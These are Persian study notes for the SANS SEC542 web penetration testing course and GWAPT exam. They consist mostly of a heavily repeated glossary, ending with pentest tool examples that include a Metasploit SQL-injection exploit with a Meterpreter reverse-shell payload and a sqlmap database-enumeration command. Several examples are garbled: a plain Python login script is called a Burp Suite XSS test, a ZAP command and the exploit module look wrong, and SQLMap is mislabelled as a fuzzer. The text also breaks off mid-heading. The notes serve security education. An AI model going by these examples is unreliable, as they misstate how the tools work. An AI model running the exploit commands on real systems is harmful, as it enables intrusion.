SANS SEC542

ترمینولوژی دوره SEC542:
Web App Penetration Testing and Ethical Hacking

Web application:
برنامه‌ای که از طریق وب قابل دسترسی است.

Penetration testing:
فرآیندی برای شناسایی و بهره‌برداری از آسیب‌پذیری‌های امنیتی در یک سیستم یا شبکه.

Ethical hacking:
اصطلاحی برای توصیف هک کردن قانونی و مجاز برای اهداف امنیتی.

Vulnerability:
نقطه ضعف یا عدم امنیت در یک سیستم یا شبکه که می‌تواند توسط یک مهاجم برای نفوذ استفاده شود.

Exploit:
کدی که برای بهره‌برداری از یک آسیب‌پذیری استفاده می‌شود.

Exploitation:
فرآیند بهره‌برداری از یک آسیب‌پذیری.

Attack surface:
مجموع نقاط ورودی و خروجی یک سیستم یا شبکه که می‌توانند توسط یک مهاجم هدف قرار گیرند.

Threat model:
توصیفی از تهدیداتی که یک سیستم یا شبکه با آنها روبرو است.

Risk assessment:
فرآیند ارزیابی خطرات امنیتی مرتبط با یک سیستم یا شبکه.

Penetration testing methodology:
رویکردی ساختاریافته برای انجام تست نفوذ.

Information gathering:
مرحله اولیه تست نفوذ که شامل جمع‌آوری اطلاعات در مورد هدف است.

Vulnerability assessment:
مرحله دوم تست نفوذ که شامل شناسایی آسیب‌پذیری‌های هدف است.

Exploitation:
مرحله سوم تست نفوذ که شامل بهره‌برداری از آسیب‌پذیری‌ها است.

Reporting:
مرحله چهارم تست نفوذ که شامل گزارش‌دهی در مورد نتایج تست است.

ترمینولوژی گواهینامه GWAPT

GIAC:
مؤسسه‌ای که گواهینامه‌های امنیتی را ارائه می‌دهد.

Web application penetration tester:
فردی که تست نفوذ وب‌اپلیکیشن‌ها را انجام می‌دهد.

GIAC Web Application Penetration Tester (GWAPT):
گواهینامه‌ای که توسط GIAC برای متخصصان تست نفوذ وب‌اپلیکیشن‌ها ارائه می‌شود.

OWASP:
سازمانی که استانداردها و بهترین شیوه‌های امنیت وب را توسعه می‌دهد.

CWE:
مخفف Common Weakness Enumeration، فهرستی از آسیب‌پذیری‌های امنیتی رایج است.

CVSS:
مخفف Common Vulnerability Scoring System، سیستمی برای امتیازدهی به آسیب‌پذیری‌های امنیتی است.

XSS:
مخفف Cross-site Scripting، آسیب‌پذیری امنیتی است که می‌تواند توسط یک مهاجم برای تزریق کد مخرب به وب‌سایت‌ها استفاده شود.

SQL Injection:
آسیب‌پذیری امنیتی است که می‌تواند توسط یک مهاجم برای اجرای کد SQL مخرب در پایگاه داده یک وب‌سایت استفاده شود.

LFI:
مخفف Local File Inclusion، آسیب‌پذیری امنیتی است که می‌تواند توسط یک مهاجم برای دسترسی به فایل‌های محلی یک وب‌سایت استفاده شود.

CSRF:
مخفف Cross-site Request Forgery، آسیب‌پذیری امنیتی است که می‌تواند توسط یک مهاجم برای انجام اقدامات مخرب از طریق یک کاربر آسیب‌پذیر استفاده شود.

WAF:
مخفف Web Application Firewall، فایروال وب است که برای محافظت از وب‌اپلیکیشن‌ها در برابر حملات وب طراحی شده است.

SAST:
مخفف Static Application Security Testing، فرآیندی برای شناسایی آسیب‌پذیری‌های امنیتی در کد منبع یک وب‌اپلیکیشن است.

DAST:
مخفف Dynamic Application Security Testing، فرآیندی برای شناسایی آسیب‌پذیری‌های امنیتی در یک وب‌اپلیکیشن در حال اجرا است.

IAST:
مخفف Interactive Application Security Testing، فرآیندی برای شناسایی آسیب‌پذیری‌های امنیتی در یک وب‌اپلیکیشن در حال اجرا است که شامل تعامل با کاربر است.

Fuzzing:
فرآیندی برای ارسال داده‌های ورودی نامعتبر به یک برنامه برای شناسایی آسیب‌پذیری‌های امنیتی است.

Pentest Framework:
چارچوبی که برای انجام تست نفوذ استفاده می‌شود.

Toolset:
مجموعه‌ای از ابزارها که برای انجام تست نفوذ استفاده می‌شوند.

اصطلاحات مربوط به دوره SEC542

Application security:
امنیت وب‌اپلیکیشن‌ها.

Web application security testing:
تست نفوذ وب‌اپلیکیشن‌ها.

Web application security vulnerabilities:
آسیب‌پذیری‌های امنیتی وب‌اپلیکیشن‌ها.

Web application security exploitation:
بهره‌برداری از آسیب‌پذیری‌های امنیتی وب‌اپلیکیشن‌ها.

Web application security risk assessment:
ارزیابی خطرات امنیتی وب‌اپلیکیشن‌ها.

Web application security penetration testing methodology:
رویکرد ساختاریافته برای انجام تست نفوذ وب‌اپلیکیشن‌ها.

Information gathering for web application penetration testing:
مرحله اولیه تست نفوذ وب‌اپلیکیشن‌ها که شامل جمع‌آوری اطلاعات در مورد هدف است.

Vulnerability assessment for web application penetration testing:
مرحله دوم تست نفوذ وب‌اپلیکیشن‌ها که شامل شناسایی آسیب‌پذیری‌های هدف است.

Exploitation for web application penetration testing:
مرحله سوم تست نفوذ وب‌اپلیکیشن‌ها که شامل بهره‌برداری از آسیب‌پذیری‌ها است.

Reporting for web application penetration testing:
مرحله چهارم تست نفوذ وب‌اپلیکیشن‌ها که شامل گزارش‌دهی در مورد نتایج تست است.

اصطلاحات مربوط به گواهینامه GWAPT

GIAC Web Application Penetration Tester (GWAPT) exam:
آزمونی که برای کسب گواهینامه GWAPT باید قبول شوید.

GIAC Web Application Penetration Tester (GWAPT) certification:
گواهینامه‌ای که توسط GIAC برای متخصصان تست نفوذ وب‌اپلیکیشن‌ها ارائه می‌شود.

Web application security testing phases:
مراحل تست نفوذ وب‌اپلیکیشن‌ها که شامل جمع‌آوری اطلاعات، ارزیابی آسیب‌پذیری‌ها، بهره‌برداری از آسیب‌پذیری‌ها و گزارش‌دهی است.

Web application security testing tools:
ابزارهایی که برای انجام تست نفوذ وب‌اپلیکیشن‌ها استفاده می‌شوند.

Web application security testing framework:
چارچوبی که برای انجام تست نفوذ وب‌اپلیکیشن‌ها استفاده می‌شود.

Web application security testing methodology:
رویکرد ساختاریافته برای انجام تست نفوذ وب‌اپلیکیشن‌ها.

Web application security testing report:
گزارشی که در پایان تست نفوذ وب‌اپلیکیشن‌ها تهیه می‌شود.

GIAC Web Application Penetration Tester (GWAPT) exam objectives:
اهداف آزمون GWAPT که شامل دانش و مهارت‌های مورد نیاز برای کسب گواهینامه GWAPT است.

GIAC Web Application Penetration Tester (GWAPT) exam preparation:
منابع و روش‌های آماده‌سازی برای آزمون GWAPT.

GIAC Web Application Penetration Tester (GWAPT) exam tips:
نکاتی برای موفقیت در آزمون GWAPT.

Zero-day vulnerability:
آسیب‌پذیری امنیتی که هنوز توسط توسعه‌دهنده نرم‌افزار شناخته نشده است.

Zero-click exploit:
بهره‌برداری از یک آسیب‌پذیری امنیتی که نیازی به تعامل کاربر ندارد.

Social engineering:
تکنیکی برای فریب کاربران برای انجام اقداماتی که به امنیت آنها آسیب می‌رساند.

Phishing:
حمله سایبری که در آن مهاجم تلاش می‌کند با ارسال ایمیل یا پیام متنی جعلی اطلاعات حساس کاربر را سرقت کند.

Watering hole attack:
حمله سایبری که در آن مهاجم یک وب‌سایت محبوب را هدف قرار می‌دهد و آسیب‌پذیری امنیتی موجود در آن را برای سرقت اطلاعات کاربران استفاده می‌کند.

Man-in-the-middle attack:
حمله سایبری که در آن مهاجم تلاش می‌کند ترافیک ارتباطی بین دو طرف را شنود کند.

DDoS attack:
حمله سایبری که در آن مهاجم تلاش می‌کند یک سرور یا شبکه را با ارسال ترافیک تصادفی از چندین منبع مختلف از کار بیاندازد.

Web application security testing phases:
مراحل تست نفوذ وب‌اپلیکیشن‌ها که شامل جمع‌آوری اطلاعات، ارزیابی آسیب‌پذیری‌ها، بهره‌برداری از آسیب‌پذیری‌ها و گزارش‌دهی است.

Web application security testing tools:
ابزارهایی که برای انجام تست نفوذ وب‌اپلیکیشن‌ها استفاده می‌شوند.

Web application security testing framework:
چارچوبی که برای انجام تست نفوذ وب‌اپلیکیشن‌ها استفاده می‌شود.

Web application security testing methodology:
رویکرد ساختاریافته برای انجام تست نفوذ وب‌اپلیکیشن‌ها.

Web application security testing report:
گزارشی که در پایان تست نفوذ وب‌اپلیکیشن‌ها تهیه می‌شود.

GIAC Web Application Penetration Tester (GWAPT) exam objectives:
اهداف آزمون GWAPT که شامل دانش و مهارت‌های مورد نیاز برای کسب گواهینامه GWAPT است.

GIAC Web Application Penetration Tester (GWAPT) exam preparation:
منابع و روش‌های آماده‌سازی برای آزمون GWAPT.

GIAC Web Application Penetration Tester (GWAPT) exam tips:
نکاتی برای موفقیت در آزمون GWAPT.

Zero-day vulnerability:
آسیب‌پذیری امنیتی که هنوز توسط توسعه‌دهنده نرم‌افزار شناخته نشده است.

Zero-click exploit:
بهره‌برداری از یک آسیب‌پذیری امنیتی که نیازی به تعامل کاربر ندارد.

Social engineering:
تکنیکی برای فریب کاربران برای انجام اقداماتی که به امنیت آنها آسیب می‌رساند.

Phishing:
حمله سایبری که در آن مهاجم تلاش می‌کند با ارسال ایمیل یا پیام متنی جعلی اطلاعات حساس کاربر را سرقت کند.

Watering hole attack:
حمله سایبری که در آن مهاجم یک وب‌سایت محبوب را هدف قرار می‌دهد و آسیب‌پذیری امنیتی موجود در آن را برای سرقت اطلاعات کاربران استفاده می‌کند.

Man-in-the-middle attack:
حمله سایبری که در آن مهاجم تلاش می‌کند ترافیک ارتباطی بین دو طرف را شنود کند.

DDoS attack:
حمله سایبری که در آن مهاجم تلاش می‌کند یک سرور یا شبکه را با ارسال ترافیک تصادفی از چندین منبع مختلف از کار بیاندازد.

اصطلاحات مربوط به تست نفوذ وب‌اپلیکیشن‌ها

Vulnerability:
نقطه ضعف یا عدم امنیت در یک سیستم یا شبکه که می‌تواند توسط یک مهاجم برای نفوذ استفاده شود.

Exploit:
کدی که برای بهره‌برداری از یک آسیب‌پذیری استفاده می‌شود.

Exploitation:
فرآیند بهره‌برداری از یک آسیب‌پذیری.

Attack surface:
مجموع نقاط ورودی و خروجی یک سیستم یا شبکه که می‌توانند توسط یک مهاجم هدف قرار گیرند.

Threat model:
توصیفی از تهدیداتی که یک سیستم یا شبکه با آنها روبرو است.

Risk assessment:
فرآیند ارزیابی خطرات امنیتی مرتبط با یک سیستم یا شبکه.

Penetration testing methodology:
رویکردی ساختاریافته برای انجام تست نفوذ.

Information gathering:
مرحله اولیه تست نفوذ که شامل جمع‌آوری اطلاعات در مورد هدف است.

Vulnerability assessment:
مرحله دوم تست نفوذ که شامل شناسایی آسیب‌پذیری‌های هدف است.

Exploitation:
مرحله سوم تست نفوذ که شامل بهره‌برداری از آسیب‌پذیری‌ها است.

Reporting:
مرحله چهارم تست نفوذ که شامل گزارش‌دهی در مورد نتایج تست است.

Web application:
برنامه‌ای که از طریق وب قابل دسترسی است.

Web application security testing:
فرآیندی برای شناسایی و بهره‌برداری از آسیب‌پذیری‌های امنیتی در وب‌اپلیکیشن‌ها.

Ethical hacking:
اصطلاحی برای توصیف هک کردن قانونی و مجاز برای اهداف امنیتی.

XSS:
مخفف Cross-site Scripting، آسیب‌پذیری امنیتی است که می‌تواند توسط یک مهاجم برای تزریق کد مخرب به وب‌سایت‌ها استفاده شود.

SQL Injection:
آسیب‌پذیری امنیتی است که می‌تواند توسط یک مهاجم برای اجرای کد SQL مخرب در پایگاه داده یک وب‌سایت استفاده شود.

LFI:
مخفف Local File Inclusion، آسیب‌پذیری امنیتی است که می‌تواند توسط یک مهاجم برای دسترسی به فایل‌های محلی یک وب‌سایت استفاده شود.

CSRF:
مخفف Cross-site Request Forgery، آسیب‌پذیری امنیتی است که می‌تواند توسط یک مهاجم برای انجام اقدامات مخرب از طریق یک کاربر آسیب‌پذیر استفاده شود.

اصطلاحات مربوط به گواهینامه GWAPT

GIAC Web Application Penetration Tester (GWAPT):
گواهینامه‌ای که توسط GIAC برای متخصصان تست نفوذ وب‌اپلیکیشن‌ها ارائه می‌شود.

GIAC Web Application Penetration Tester (GWAPT) exam:
آزمونی که برای کسب گواهینامه GWAPT باید قبول شوید.

GIAC Web Application Penetration Tester (GWAPT) exam objectives:
اهداف آزمون GWAPT که شامل دانش و مهارت‌های مورد نیاز برای کسب گواهینامه GWAPT است.

GIAC Web Application Penetration Tester (GWAPT) exam preparation:
منابع و روش‌های آماده‌سازی برای آزمون GWAPT.

GIAC Web Application Penetration Tester (GWAPT) exam tips:
نکاتی برای موفقیت در آزمون GWAPT.

Zero-day vulnerability:
آسیب‌پذیری امنیتی که هنوز توسط توسعه‌دهنده نرم‌افزار شناخته نشده است.

Zero-click exploit:
بهره‌برداری از یک آسیب‌پذیری امنیتی که نیازی به تعامل کاربر ندارد.

Social engineering:
تکنیکی برای فریب کاربران برای انجام اقداماتی که به امنیت آنها آسیب می‌رساند.

Phishing:
حمله سایبری که در آن مهاجم تلاش می‌کند با ارسال ایمیل یا پیام متنی جعلی اطلاعات حساس کاربر را سرقت کند.

Watering hole attack:
حمله سایبری که در آن مهاجم یک وب‌سایت محبوب را هدف قرار می‌دهد و آسیب‌پذیری امنیتی موجود در آن را برای سرقت اطلاعات کاربران استفاده می‌کند.

Man-in-the-middle attack:
حمله سایبری که در آن مهاجم تلاش می‌کند ترافیک ارتباطی بین دو طرف را شنود کند.

DDoS attack:
حمله سایبری که در آن مهاجم تلاش می‌کند یک سرور یا شبکه را با ارسال ترافیک تصادفی از چندین منبع مختلف از کار بیاندازد.

Vulnerability:
نقطه ضعف یا عدم امنیت در یک سیستم یا شبکه که می‌تواند توسط یک مهاجم برای نفوذ استفاده شود. به عنوان مثال، یک آسیب‌پذیری امنیتی ممکن است یک باگ در کد منبع یک برنامه، یک پیکربندی نادرست یا یک ضعف امنیتی در یک سرویس باشد.

Exploit:
کدی که برای بهره‌برداری از یک آسیب‌پذیری استفاده می‌شود. یک بهره‌برداری معمولاً شامل یک تکنیک برای شناسایی آسیب‌پذیری، یک تکنیک برای بهره‌برداری از آسیب‌پذیری و یک تکنیک برای دستکاری در سیستم یا شبکه هدف است.

Exploitation:
فرآیند بهره‌برداری از یک آسیب‌پذیری. بهره‌برداری از یک آسیب‌پذیری می‌تواند منجر به دستیابی به دسترسی غیرمجاز به یک سیستم یا شبکه، سرقت اطلاعات یا اختلال در عملکرد سیستم یا شبکه شود.

Attack surface:
مجموع نقاط ورودی و خروجی یک سیستم یا شبکه که می‌توانند توسط یک مهاجم هدف قرار گیرند. سطح حمله یک سیستم یا شبکه می‌تواند شامل پورت‌های شبکه، صفحات وب، سرویس‌ها و منابع قابل دسترسی از طریق API باشد.

Threat model:
توصیفی از تهدیداتی که یک سیستم یا شبکه با آنها روبرو است. مدل تهدید معمولاً شامل یک فهرست از تهدیدات احتمالی، یک ارزیابی از احتمال وقوع هر تهدید و یک ارزیابی از تأثیر هر تهدید است.

Risk assessment:
فرآیند ارزیابی خطرات امنیتی مرتبط با یک سیستم یا شبکه. ارزیابی ریسک معمولاً شامل شناسایی دارایی‌های ارزشمند، شناسایی تهدیدات احتمالی و ارزیابی ریسک هر تهدید است.

Penetration testing methodology:
رویکردی ساختاریافته برای انجام تست نفوذ. یک روش تست نفوذ معمولاً شامل مراحل زیر است:

جمع‌آوری اطلاعات:
در این مرحله، متخصص تست نفوذ اطلاعات مربوط به هدف را جمع‌آوری می‌کند. این اطلاعات می‌تواند شامل اطلاعات عمومی، اطلاعات فنی و اطلاعات خاص باشد.

ارزیابی آسیب‌پذیری‌ها:
در این مرحله، متخصص تست نفوذ آسیب‌پذیری‌های هدف را شناسایی می‌کند. این کار می‌تواند با استفاده از ابزارها و تکنیک‌های مختلف انجام شود.

بهره‌برداری از آسیب‌پذیری‌ها:
در این مرحله، متخصص تست نفوذ از آسیب‌پذیری‌ها برای دستیابی به اهداف خود استفاده می‌کند. این اهداف می‌تواند شامل دسترسی غیرمجاز، سرقت اطلاعات یا اختلال در عملکرد باشد.

گزارش‌دهی:
در این مرحله، متخصص تست نفوذ نتایج تست را گزارش می‌دهد. این گزارش معمولاً شامل یک خلاصه از نتایج، یک فهرست از آسیب‌پذیری‌های شناسایی‌شده و توصیه‌هایی برای رفع آسیب‌پذیری‌ها است.

اصطلاحات مربوط به تست نفوذ وب‌اپلیکیشن‌ها

Web application:
برنامه‌ای که از طریق وب قابل دسترسی است. وب‌اپلیکیشن‌ها می‌توانند شامل وب‌سایت‌ها، پورتال‌های کاربری، برنامه‌های تحت وب و APIها باشند.

Web application security testing:
فرآیندی برای شناسایی و بهره‌برداری از آسیب‌پذیری‌های امنیتی در وب‌اپلیکیشن‌ها. تست نفوذ وب‌اپلیکیشن‌ها می‌تواند به شناسایی و رفع آسیب‌پذیری‌هایی کمک کند که می‌توانند توسط مهاجمان برای سرقت اطلاعات، خرابکاری یا اختلال در عملکرد استفاده شوند.

Ethical hacking:
اصطلاحی برای توصیف هک کردن قانونی و مجاز برای اهداف امنیتی. هکرهای اخلاقی با استفاده از همان تکنیک‌هایی که مهاجمان سایبری استفاده می‌کنند، آسیب‌پذیری‌های امنیتی را در سیستم‌ها و شبکه‌ها شناسایی می‌کنند.

XSS:
مخفف Cross-site Scripting، آسیب‌پذیری امنیتی است که می‌تواند توسط یک مهاجم برای تزریق کد مخرب به وب‌سایت‌ها استفاده شود. کد مخرب می‌تواند برای سرقت اطلاعات، خرابکاری یا اختلال در عملکرد استفاده شود.

SQL Injection:
آسیب‌پذیری امنیتی است که می‌تواند توسط یک مهاجم برای اجرای کد SQL مخرب در پایگاه داده یک وب‌سایت استفاده شود. کد SQL مخرب می‌تواند برای سرقت اطلاعات، خرابکاری یا اختلال در عملکرد استفاده شود.

LFI:
مخفف Local File Inclusion، آسیب‌پذیری امنیتی است که می‌تواند توسط یک مهاجم برای دسترسی به فایل‌های محلی یک وب‌سایت استفاده شود. فایل‌های محلی می‌توانند حاوی اطلاعات حساس باشند.

CSRF:
مخفف Cross-site Request Forgery، آسیب‌پذیری امنیتی است که می‌تواند توسط یک مهاجم برای انجام اقدامات مخرب از طریق یک کاربر آسیب‌پذیر استفاده شود. به عنوان مثال، یک مهاجم می‌تواند از CSRF برای واریز پول به حساب خود از طریق حساب کاربری قربانی استفاده کند.

DDoS attack:
حمله سایبری که در آن مهاجم تلاش می‌کند یک سرور یا شبکه را با ارسال ترافیک تصادفی از چندین منبع مختلف از کار بیاندازد.

WAF:
مخفف Web Application Firewall، فایروال وب است که برای محافظت از وب‌اپلیکیشن‌ها در برابر حملات وب طراحی شده است.

SAST:
مخفف Static Application Security Testing، فرآیندی برای شناسایی آسیب‌پذیری‌های امنیتی در کد منبع یک وب‌اپلیکیشن است.

DAST:
مخفف Dynamic Application Security Testing، فرآیندی برای شناسایی آسیب‌پذیری‌های امنیتی در یک وب‌اپلیکیشن در حال اجرا است.

IAST:
مخفف Interactive Application Security Testing، فرآیندی برای شناسایی آسیب‌پذیری‌های امنیتی در یک وب‌اپلیکیشن در حال اجرا است که شامل تعامل با کاربر است.

Fuzzing:
فرآیندی برای ارسال داده‌های ورودی نامعتبر به یک برنامه برای شناسایی آسیب‌پذیری‌های امنیتی است.

Pentest Framework:
چارچوبی که برای انجام تست نفوذ استفاده می‌شود.

Toolset:
مجموعه‌ای از ابزارها که برای انجام تست نفوذ استفاده می‌شوند.

اصطلاحات مربوط به گواهینامه GWAPT

GIAC:
مؤسسه‌ای که گواهینامه‌های امنیتی را ارائه می‌دهد.

Web application penetration tester:
فردی که تست نفوذ وب‌اپلیکیشن‌ها را انجام می‌دهد.

GIAC Web Application Penetration Tester (GWAPT):
گواهینامه‌ای که توسط GIAC برای متخصصان تست نفوذ وب‌اپلیکیشن‌ها ارائه می‌شود.

GIAC Web Application Penetration Tester (GWAPT) exam:
آزمونی که برای کسب گواهینامه GWAPT باید قبول شوید.

GIAC Web Application Penetration Tester (GWAPT) exam objectives:
اهداف آزمون GWAPT که شامل دانش و مهارت‌های مورد نیاز برای کسب گواهینامه GWAPT است.

GIAC Web Application Penetration Tester (GWAPT) exam preparation:
منابع و روش‌های آماده‌سازی برای آزمون GWAPT.

GIAC Web Application Penetration Tester (GWAPT) exam tips:
نکاتی برای موفقیت در آزمون GWAPT.

نتیجه‌گیری:
تست نفوذ وب‌اپلیکیشن‌ها یک فرآیند مهم برای شناسایی و رفع آسیب‌پذیری‌های امنیتی در وب‌اپلیکیشن‌ها است. با کسب دانش و مهارت‌های لازم در زمینه تست نفوذ وب‌اپلیکیشن‌ها، می‌توانید به سازمان‌ها در محافظت از وب‌اپلیکیشن‌های خود در برابر حملات سایبری کمک کنید.

در اینجا برخی از نکات کلیدی برای انجام تست نفوذ وب‌اپلیکیشن‌ها آورده شده است:

یک رویکرد ساختاریافته برای تست نفوذ دنبال کنید.

از ابزارها و تکنیک‌های مختلف برای شناسایی آسیب‌پذیری‌ها استفاده کنید.

به طور کامل از آسیب‌پذیری‌های شناسایی‌شده بهره‌برداری کنید.

نتایج تست را به صورت مستند گزارش دهید.

با رعایت این نکات، می‌توانید اطمینان حاصل کنید که تست نفوذ وب‌اپلیکیشن‌های شما جامع و موثر است.

در اینجا چند نمونه از ابزارهای تست نفوذ وب‌اپلیکیشن‌ها و کدهای مثال برای استفاده از آنها آورده شده است:

ابزار: Burp Suite

کد مثال:

Python

import requests

def main():
    url = "https://example.com/login"
    login_data = {
        "username": "admin",
        "password": "password"
    }

    # ارسال داده‌های ورودی به هدف
    response = requests.post(url, data=login_data)

    # بررسی پاسخ برای آسیب‌پذیری‌ها
    if response.status_code == 200:
        # بررسی وجود کد مخرب در پاسخ
        if "malicious_code" in response.text:
            print("آسیب‌پذیری XSS شناسایی شد!")

if __name__ == "__main__":
    main()
 

این کد نمونه از Burp Suite برای شناسایی آسیب‌پذیری XSS استفاده می‌کند. کد ابتدا داده‌های ورودی را به هدف ارسال می‌کند. سپس، کد پاسخ را برای وجود کد مخرب بررسی می‌کند. اگر کد مخرب در پاسخ یافت شود، کد پیامی را چاپ می‌کند که نشان می‌دهد آسیب‌پذیری XSS شناسایی شده است.

ابزار: Nikto

کد مثال:

nikto -h https://example.com 

این کد نمونه از Nikto برای اسکن یک وب‌سایت برای آسیب‌پذیری‌های امنیتی استفاده می‌کند. کد ابتدا URL وب‌سایت را به Nikto می‌دهد. سپس، Nikto وب‌سایت را اسکن می‌کند و گزارشی از آسیب‌پذیری‌های شناسایی‌شده را تولید می‌کند.

ابزار: OWASP ZAP

کد مثال:
zap -h https://example.com 

این کد نمونه از OWASP ZAP برای اسکن یک وب‌سایت برای آسیب‌پذیری‌های امنیتی استفاده می‌کند. کد ابتدا URL وب‌سایت را به OWASP ZAP می‌دهد. سپس، OWASP ZAP وب‌سایت را اسکن می‌کند و گزارشی از آسیب‌پذیری‌های شناسایی‌شده را تولید می‌کند.

اینها تنها چند نمونه از ابزارهای تست نفوذ وب‌اپلیکیشن‌ها هستند. ابزارهای بسیاری دیگر نیز وجود دارد که می‌توان برای شناسایی و بهره‌برداری از آسیب‌پذیری‌های امنیتی در وب‌اپلیکیشن‌ها استفاده کرد.

در اینجا چند نکته کلیدی برای استفاده از ابزارهای تست نفوذ وب‌اپلیکیشن‌ها آورده شده است:

از ابزارهای مختلف برای شناسایی آسیب‌پذیری‌های امنیتی استفاده کنید.

ابزارها را به درستی پیکربندی کنید.

نتایج تست را به صورت مستند گزارش دهید.

با رعایت این نکات، می‌توانید اطمینان حاصل کنید که تست نفوذ وب‌اپلیکیشن‌های شما جامع و موثر است.

ابزار های تست نفوذ وب‌اپلیکیشن‌ها

ابزارهای تست نفوذ وب‌اپلیکیشن‌ها ابزارهایی هستند که برای شناسایی و بهره‌برداری از آسیب‌پذیری‌های امنیتی در وب‌اپلیکیشن‌ها استفاده می‌شوند. این ابزارها می‌توانند به صورت دستی یا خودکار استفاده شوند و می‌توانند برای شناسایی انواع مختلفی از آسیب‌پذیری‌ها، از جمله آسیب‌پذیری‌های XSS، SQL Injection، LFI و CSRF استفاده شوند.

انواع ابزارهای تست نفوذ وب‌اپلیکیشن‌ها
ابزارهای تست نفوذ وب‌اپلیکیشن‌ها را می‌توان بر اساس نوع عملکردشان به دسته‌های زیر تقسیم کرد:

ابزارهای اسکن امنیتی:
این ابزارها به صورت خودکار وب‌اپلیکیشن را برای آسیب‌پذیری‌های امنیتی اسکن می‌کنند.

ابزارهای دستی:
این ابزارها به صورت دستی توسط متخصصان تست نفوذ برای شناسایی و بهره‌برداری از آسیب‌پذیری‌ها استفاده می‌شوند.

ابزارهای Fuzzing:
این ابزارها برای ارسال داده‌های ورودی نامعتبر به یک وب‌اپلیکیشن برای شناسایی آسیب‌پذیری‌های امنیتی استفاده می‌شوند.

ابزارهای تحلیل آسیب‌پذیری:
این ابزارها برای ارزیابی آسیب‌پذیری‌های امنیتی شناسایی‌شده استفاده می‌شوند.

برخی از ابزارهای تست نفوذ وب‌اپلیکیشن‌های محبوب عبارتند از:

Burp Suite:
یک مجموعه ابزار تست نفوذ وب‌اپلیکیشن‌های همه‌کاره است.

Nikto:
یک اسکنر امنیتی وب‌اپلیکیشن است که می‌تواند برای شناسایی طیف وسیعی از آسیب‌پذیری‌های امنیتی استفاده شود.

OWASP ZAP:
یک اسکنر امنیتی وب‌اپلیکیشن متن‌باز است که می‌تواند برای شناسایی طیف وسیعی از آسیب‌پذیری‌های امنیتی استفاده شود.

Metasploit Framework:
یک چارچوب تست نفوذ است که می‌تواند برای شناسایی و بهره‌برداری از آسیب‌پذیری‌های امنیتی استفاده شود.

SQLMap:
یک ابزار Fuzzing است که می‌تواند برای شناسایی و بهره‌برداری از آسیب‌پذیری‌های SQL Injection استفاده شود.

انتخاب ابزار تست نفوذ وب‌اپلیکیشن
انتخاب ابزار تست نفوذ وب‌اپلیکیشن مناسب به عوامل مختلفی بستگی دارد، از جمله:

سطح دانش و مهارت تست نفوذ:
برخی از ابزارها برای استفاده آسان هستند، در حالی که برخی دیگر نیاز به دانش و مهارت بیشتری دارند.

نوع آسیب‌پذیری‌هایی که باید شناسایی شوند:
برخی از ابزارها برای شناسایی انواع خاصی از آسیب‌پذیری‌ها بهتر هستند.

بودجه:
برخی از ابزارها رایگان هستند، در حالی که برخی دیگر هزینه‌ای دارند.

بهترین راه برای انتخاب ابزار تست نفوذ وب‌اپلیکیشن مناسب، آزمایش ابزارهای مختلف و مقایسه نتایج آنها است.

کد مثال برای استفاده از ابزارهای تست نفوذ وب‌اپلیکیشن
در اینجا چند نمونه از کدهای مثال برای استفاده از ابزارهای تست نفوذ وب‌اپلیکیشن آورده شده است:

ابزار: Burp Suite

Python

import requests

def main():
    url = "https://example.com/login"
    login_data = {
        "username": "admin",
        "password": "password"
    }

    # ارسال داده‌های ورودی به هدف
    response = requests.post(url, data=login_data)

    # بررسی پاسخ برای آسیب‌پذیری‌ها
    if response.status_code == 200:
        # بررسی وجود کد مخرب در پاسخ
        if "malicious_code" in response.text:
            print("آسیب‌پذیری XSS شناسایی شد!")

if __name__ == "__main__":
    main()

این کد نمونه از Burp Suite برای شناسایی آسیب‌پذیری XSS استفاده می‌کند. کد ابتدا داده‌های ورودی را به هدف ارسال می‌کند. سپس، کد پاسخ را برای وجود کد مخرب بررسی می‌کند. اگر کد مخرب در پاسخ یافت شود، کد پیامی را چاپ می‌کند که نشان می‌دهد آسیب‌پذیری XSS شناسایی شده است.

ابزار: Nikto

nikto -h https://example.com 

این کد نمونه از Nikto برای اسکن یک وب‌سایت برای آسیب‌پذیری‌های امنیتی استفاده می‌کند. کد ابتدا URL وب‌سایت را به Nikto می‌دهد. سپس، Nikto وب‌سایت را اسکن می‌کند و گزارشی از آسیب‌پذیری‌های شناسایی‌شده را تولید می‌کند.

ابزار: OWASP ZAP

zap -h https://example.com 

این کد نمونه از OWASP ZAP برای اسکن یک وب‌سایت برای آسیب‌پذیری‌های امنیتی استفاده می‌کند. کد ابتدا URL وب‌سایت را به OWASP ZAP می‌دهد. سپس، OWASP ZAP وب‌سایت را اسکن می‌کند و گزارشی از آسیب‌پذیری‌های شناسایی‌شده را تولید می‌کند.

ابزار: Metasploit Framework

msfconsole
# لود کردن exploit
use exploit/multi/http/sqli_blind

# تنظیمات exploit
set RHOSTS 127.0.0.1
set TARGETURI /login
set PAYLOAD windows/meterpreter/reverse_tcp

# اجرا کردن exploit
exploit

این کد نمونه از Metasploit Framework برای بهره‌برداری از یک آسیب‌پذیری SQL Injection استفاده می‌کند. کد ابتدا exploit مربوط به آسیب‌پذیری SQL Injection را لود می‌کند. سپس، کد تنظیمات exploit را تنظیم می‌کند. در نهایت، کد exploit را اجرا می‌کند.

ابزار: SQLMap

sqlmap -u "https://example.com/login?username=admin" --dbs

این کد نمونه از SQLMap برای شناسایی پایگاه‌های داده آسیب‌پذیر استفاده می‌کند. کد ابتدا آدرس URL صفحه ورود را به SQLMap می‌دهد. سپس، SQLMap پایگاه‌های داده موجود در وب‌سایت را اسکن می‌کند.

اینها تنها چند نمونه از کدهای مثال برای استفاده از ابزارهای تست نفوذ وب‌اپلیکیشن هستند. ابزارهای بسیاری دیگر نیز وجود دارد که می‌توان برای شناسایی و بهره‌برداری از آسیب‌پذیری‌های امنیتی در وب‌اپلیکیشن‌ها استفاده کرد.

در اینجا چند نکته کلیدی برای استفاده از ابزارهای تست نفوذ وب‌اپلیکیشن آورده شده است:

از ابزارهای مختلف برای شناسایی آسیب‌پذیری‌های امنیتی استفاده کنید.

ابزارها را به درستی پیکربندی کنید.

نتایج تست را به صورت مستند گزارش دهید.

با رعایت این نکات، می‌توانید اطمینان حاصل کنید که تست نفوذ وب‌اپلیکیشن‌های شما جامع و موثر است.

ابزار تست نفوذ
ابزار تست نفوذ یک نرم‌افزار یا برنامه کاربردی است که برای شناسایی و بهره‌برداری از آسیب‌پذیری‌های امنیتی در سیستم‌ها و شبکه‌ها استفاده می‌شود. ابزارهای تست نفوذ می‌توانند به صورت دستی یا خودکار استفاده شوند و می‌توانند برای شناسایی انواع مختلفی از آسیب‌پذیری‌ها، از جمله آسیب‌پذیری‌های XSS، SQL Injection، LFI و CSRF استفاده شوند.

انواع ابزارهای تست نفوذ
